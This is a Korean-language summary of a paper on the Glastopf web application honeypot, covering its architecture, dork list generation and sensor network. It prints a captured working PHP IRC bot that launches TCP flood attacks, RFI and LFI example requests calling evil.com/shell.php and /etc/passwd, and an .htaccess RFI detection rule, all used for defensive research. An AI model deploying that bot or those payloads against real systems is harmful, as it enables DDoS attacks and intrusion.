이 문서는 아래 paper를 정리한 것입니다.
1. 동기
현재 인터넷에서 시도되는 공격의 대부분이 웹 애플리케이션을 대상으로 한 것이다. 트래픽이 많은 웹사이트를 대상으로 집중적으로 공격하거나, 널리 사용되는 공개 웹 애플리케이션의 취약점을 선택하여 자동화된 대규모 공격을 수행하는 방식이 공격의 주류를 이루고 있다. 이러한 웹 공격에 대한 정보를 수집하고 분석하는데 사용되는 것이 웹 애플리케이션 허니팟이다.
Glastopf는 기존의 다른 허니팟들과 다른 접근 방식을 취하고 있다. 기존의 허니팟(HIHAT, DShield Web Honeypot, Google Hack Honeypot, PHPHop)들은 취약한 웹 애플리케이션들을 일부 패치하여 로깅을 추가하는 방식(템플릿 기반)을 사용하고 있다. 템플릿 기반 허니팟은 겉으로 보기에 진짜 취약한 애플리케이션처럼 보이고, 다단계에 걸친 공격(multistage attack)을 유도하여 좀 더 많은 정보를 끌어낼 수 있는 장점을 갖추고 있다. 그러나 애플리케이션 템플릿을 일일이 추가해야 하는 수고로움 때문에, 알려지지 않은 취약점이나 널리 사용되지 않는 애플리케이션에 대한 탐지를 수행하기 어렵다는 단점이 있다.
Glastopf는 자동화된 공격의 수집에 초점을 맞추어, 애플리케이션 템플릿을 사용하지 않고 최대한 자동화 공격 툴이 기대하는 응답을 보내어 정보를 수집하는 방식을 선택했다.
2. 아키텍처
Glastopf는 크게 위와 같은 구조를 갖추고 있다. 공격이 발생하면 취약점을 에뮬레이트하고 정보를 수집하여 백엔드에 저장한 후 공격자에게 응답을 전송한다. Glastopf는 최소한의 기능을 가진 웹 서버를 구현하고, 들어오는 HEAD/GET/POST 요청에 대하여 간단한 패턴 매칭으로 대표적인 웹 취약점 공격(RFI, LFI, SQL 인젝션 등)을 선별한다.
가령 아래와 같은 HTTP 요청이 들어왔다고 한다면,
GET http://example.com/vulnerable.php?color=http://evil.com/shell.php
애플리케이션에 대한 지식이 아무 것도 없더라도 매개변수에 http:// 로 시작되는 값이 들어오면 RFI 공격으로 짐작할 수 있다. 좀 더 자세한 흐름도를 보자.
GET 요청으로 RFI 공격을 시도한 경우 원격 include를 시도한 파일을 내려받아서 PHP 에뮬레이터로 실행하여 공격자가 기대하는 값을 보내준다. LFI 공격을 시도한 경우 가짜 파일(가령 ../../../etc/passwd에 대응하는 가짜 파일)을 보내준다. 자동화된 공격 도구는 기대하는 응답을 받게 되는 경우 후속 공격을 진행하게 된다. 주로 공격자가 웹쉘이나 PHP 봇 등을 업로드하려고 시도하면서 POST 요청이 들어올텐데 이를 디스크에 기록해둔다.
3. RFI Bot 예제
아래는 실제 수집된 RFI PHP 봇 샘플의 코드이다.
<?php
set_time_limit(0);
$socket = fsockopen("chat.freenode.net",6667);
fputs($socket,"USER PHPBot chat.freenode.net PHP :PHP Bot\n");
fputs($socket,"NICK PHPBot\n");
fputs($socket,"JOIN #glastopf\n");
while (1) {
while ($data = fgets($socket,128)) {
$get = explode(' ', $data);
print_r($get);
if ($get[0] == "PING") {
fputs($socket, "PONG ".$get[1]."\n");
}
if ($get[1] == "PRIVMSG") {
if ($get[3] == ".tcpflood") {
// <target> <packets> <packetsize> <port> <delay>
tcpflood($get[4],$get[5],$get[6],$get[7],$get[8]);
}
}
}
}
function tcpflood($host,$packets,$packetsize,$port,$delay) {
$packet = "";
for($i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for($i=0;$i<$packets;$i++) {
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5)) {
return 0;
}
else {
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
}
?>
살펴보면 IRC 채널에 접속해서 대기하고 있다가 tcpflood 명령이 들어오는 경우 지정된 목표에게 지정된 패킷 크기와 수로 DoS 공격을 수행하는 코드임을 알 수 있다. 취약한 웹 애플리케이션이 뚫리고 이런 PHP 봇이 올라오면 DDoS 공격에 이용될 수 있다.
4. Dork List의 자동생성과 배포
자동화 된 공격은 보통 웹 검색엔진을 이용한다. 가령 구글의 경우 inurl 지시자를 이용해서 특정 경로를 포함한 웹페이지를 검색할 수 있다. 이를 통해 후보 웹 페이지 목록을 자동으로 수집하고 공격을 시도하게 된다.
초기에는 honeypot의 인덱스 페이지에서 vulnerable.php에 대한 하이퍼링크만 제공할 것이고, 검색엔진이 이를 인덱싱하게 되면 공격이 들어오기 시작할 것이다. 이 때 자동화 공격 도구는 vulnerable.php에 대한 공격 뿐 아니라 다른 공격도 시도하게 될 수 있는데, 이 공격들을 DB에 추가하여 dork list를 자동으로 확장해나갈 수 있다.
가령 GET http://example.com/hackme.php?color=http://evil.com/shell.php 이런 식으로 추가적인 공격 패턴이 보이는 경우 hackme.php를 허니팟 인덱스 페이지의 dork list에 추가하여 점점 더 많은 공격을 유도할 수 있게 되는 것이다. 이를 통해 잠재적인 다른 제로데이 취약점을 찾을 수도 있다.
5. 센서와 중앙 수집 데이터베이스
중앙 수집 데이터베이스는 MySQL DB를 백엔드로 쓰는 간단한 파이썬 스크립트로 되어있으며 다수의 glastopf 센서에서 전달하는 정보를 수집한다. 이 서버는 GEOIP 처리를 포함한 다양한 통계 가공과 샘플 저장 작업을 수행한다. 각 센서 인스턴스는 식별자로 구분되고, 공유 비밀키를 이용하여 암호화된 통신을 수행한다. 또한 각 센서는 신뢰도가 매겨지는데, 신뢰되지 않는 센서로부터 전달된 공격 데이터는 높은 신뢰도를 가진 센서의 공격 데이터로 검증하여 점점 신뢰도를 상승시키는 방식을 사용한다.
중앙 수집 데이터베이스를 이용하면 전세계의 센서로부터 데이터를 수집하므로 국가별 통계나 특정 취약점 공격이 얼마나 발생하고 있는지 쉽게 확인할 수 있다. 또한 ISP에게 공격에 이용당하는 서버의 목록을 메일로 자동 발송할 수 있다.
아래와 같이 .htaccess 룰을 이용해서 간단하게 RFI 공격을 수집하는 센서를 추가로 구축할 수 있다.
Options +FollowSymlinks
RewriteEngine on
RewriteCond %{QUERY_STRING} ^.*(=[a-z0-9]{3,}:\/\/) [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(=([a-z0-9]+\.){1,2}[a-z0-9]{2,}) [NC]
RewriteRule ^(.+)$ http://www.htaccess2feeds.com/id1234/$1?%{QUERY_STRING}
여기에 더해서 워드프레스 플러그인으로 블로그를 간단한 honeypot으로 만들 수도 있게 개발하고 있다. 랜덤하게 10여개의 dork 하이퍼링크를 뿌리면서 공격자를 유인하고, 공격이 들어오면 .htaccess 설정으로 리다이렉트 시켜서 공격 정보를 수집한다.
6. 현재의 한계와 발전방향
취약점을 에뮬레이트 하는데 사용되는 PHP 엔진이 현재는 아주 간단한 형태의 문법과 로직만 지원할 수 있는 것으로 보인다. 완전한 PHP 인터프리터가 있어야 자주 사용되는 PHP 함수들을 에뮬레이트하고 공격자가 의도한 결과에 최대한 가까운 결과 응답을 보낼 수 있을 것이다. SQL 인젝션 등에 대해 로깅 외에 별다른 에뮬레이션이 없는 것도 현재의 한계점으로 보인다.
프록시를 도입하거나 템플릿 방식을 혼용하는 방식으로 좀 더 실제에 가까운 공격 유도를 기대해 볼 수 있겠고, 동적으로 mod_security 룰을 만들어내는 등 다양한 응용을 생각해 볼 수 있겠다.
최근 덧글